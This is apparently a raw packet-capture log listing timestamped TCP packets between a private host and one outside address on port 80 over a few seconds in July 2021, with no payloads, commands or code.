Jul 19, 2021 18:35:44.347326040 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.347441912 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.347647905 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.347768068 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.430449963 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.430476904 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.431076050 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.431170940 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.431582928 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.431657076 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.431989908 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.432007074 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.432054996 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.432090998 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.432100058 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.432152033 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.432316065 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.432365894 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.432744026 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.432806015 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.432945013 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.432997942 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.433090925 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.433146000 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.433568001 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.433629036 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.513998032 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.514158010 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.514334917 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.514348030 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.514398098 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.514432907 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.514729977 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.514791012 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.514882088 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.514956951 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.515011072 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.515084028 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.515733004 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.515805960 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.515875101 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.515954971 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.516463041 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.516545057 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.597207069 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.597229004 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.597235918 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.597346067 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.597393036 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.599582911 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.680444002 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.680479050 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.690121889 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.690232992 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.902584076 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.903630018 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.986819983 CEST	80	49779	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.986927986 CEST	49779	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.987078905 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:44.987168074 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.992096901 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.992177963 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.992367983 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:44.992434978 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.075726986 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.075777054 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.075809002 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.075886011 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.076364040 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.076456070 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.076738119 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.076812029 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.076858044 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.076920033 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.077183008 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.077248096 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.077743053 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.077826023 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.077924967 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.077987909 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.078221083 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.078293085 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.078419924 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.078480959 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.078752041 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.078768969 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.078833103 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.159851074 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.159909010 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.159935951 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.159960032 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.160044909 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.160101891 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.160496950 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.160593033 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.160835981 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.160911083 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.161109924 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.161175013 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.161396980 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.161456108 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.161494017 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.161525011 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.162125111 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.162224054 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.243932009 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.243957043 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.243972063 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.243984938 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.243999004 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.244015932 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.244127989 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.244153023 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.244558096 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.244580030 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.245054007 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.245080948 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.245157957 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.245426893 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.245568037 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.245731115 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.327676058 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.327706099 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.470487118 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.471535921 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.553446054 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.553591967 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.553613901 CEST	80	49781	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.553723097 CEST	49781	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.560719013 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.560745955 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.560885906 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.561163902 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.642802000 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.642829895 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.642921925 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.642935991 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.643012047 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.643043995 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.643054962 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.643127918 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.643179893 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.643193007 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.643239975 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.643299103 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.643313885 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.643369913 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.724883080 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.725008011 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.725150108 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.725177050 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.725193024 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.725207090 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.725222111 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.725236893 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.725236893 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.725287914 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.725334883 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.725509882 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.725585938 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.726294994 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.726419926 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.807391882 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.807493925 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.807514906 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.807609081 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.807640076 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.807734966 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.807765007 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.807869911 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:45.808306932 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.808482885 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.808631897 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.808798075 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.889399052 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.889441013 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.889451027 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.889461040 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.889725924 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.898542881 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:45.898942947 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.478543043 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.480032921 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.560530901 CEST	80	49782	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.561681032 CEST	49782	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.563255072 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.563425064 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.564126968 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.564292908 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.564575911 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.564706087 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.647423029 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.647450924 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.647670031 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.647757053 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.647903919 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.648487091 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.648581028 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.648591995 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.648657084 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.648907900 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.649060965 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.649108887 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.649164915 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.649441957 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.649576902 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.649651051 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.649741888 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.649961948 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.650023937 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.650139093 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.650213957 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.732220888 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.732253075 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.732294083 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.732295036 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.732342005 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.732362032 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.732547045 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.732567072 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.732676983 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.735575914 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.735600948 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.735666037 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.815382957 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.815845013 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.816111088 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.816282988 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.818514109 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.818576097 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.818603039 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.818619013 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.818633080 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.828100920 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:47.910958052 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.911381960 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.911401987 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:47.911420107 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.046360970 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.047445059 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.126671076 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.126985073 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.127896070 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.128139973 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.128386021 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.128549099 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.129297972 CEST	80	49784	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.129409075 CEST	49784	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.207298994 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.207367897 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.207456112 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.207571983 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.208003998 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.208237886 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.208342075 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.208478928 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.208538055 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.208607912 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.208975077 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.209045887 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.209289074 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.209518909 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.209585905 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.209775925 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.210027933 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.210108995 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.210202932 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.213515997 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.287766933 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.287792921 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.287805080 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.287930012 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.288197994 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.288388968 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.288536072 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.288718939 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.288909912 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.289067030 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.289174080 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.292583942 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.293174982 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.368172884 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.368201017 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.368318081 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.368436098 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.368527889 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.368819952 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.368844986 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.368968010 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.369050980 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.369173050 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.369501114 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.369514942 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.369529009 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.369540930 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.369550943 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.369651079 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.373440027 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.373512030 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.447365999 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.447401047 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.447417974 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.447433949 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.509666920 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.511193991 CEST	49787	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.588721037 CEST	80	49785	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.588855982 CEST	49785	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.589965105 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.590106010 CEST	49787	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.590753078 CEST	49787	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.590982914 CEST	49787	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.591403008 CEST	49787	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.591706038 CEST	49787	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.669652939 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.672341108 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.672406912 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.672430992 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.672570944 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.672682047 CEST	49787	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.672728062 CEST	49787	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.672987938 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.673059940 CEST	49787	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.673161983 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.673224926 CEST	49787	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.751902103 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.752142906 CEST	49787	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.752216101 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.752237082 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.752250910 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.752376080 CEST	49787	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.752420902 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.752434969 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.752556086 CEST	80	49787	185.114.247.54	192.168.2.6
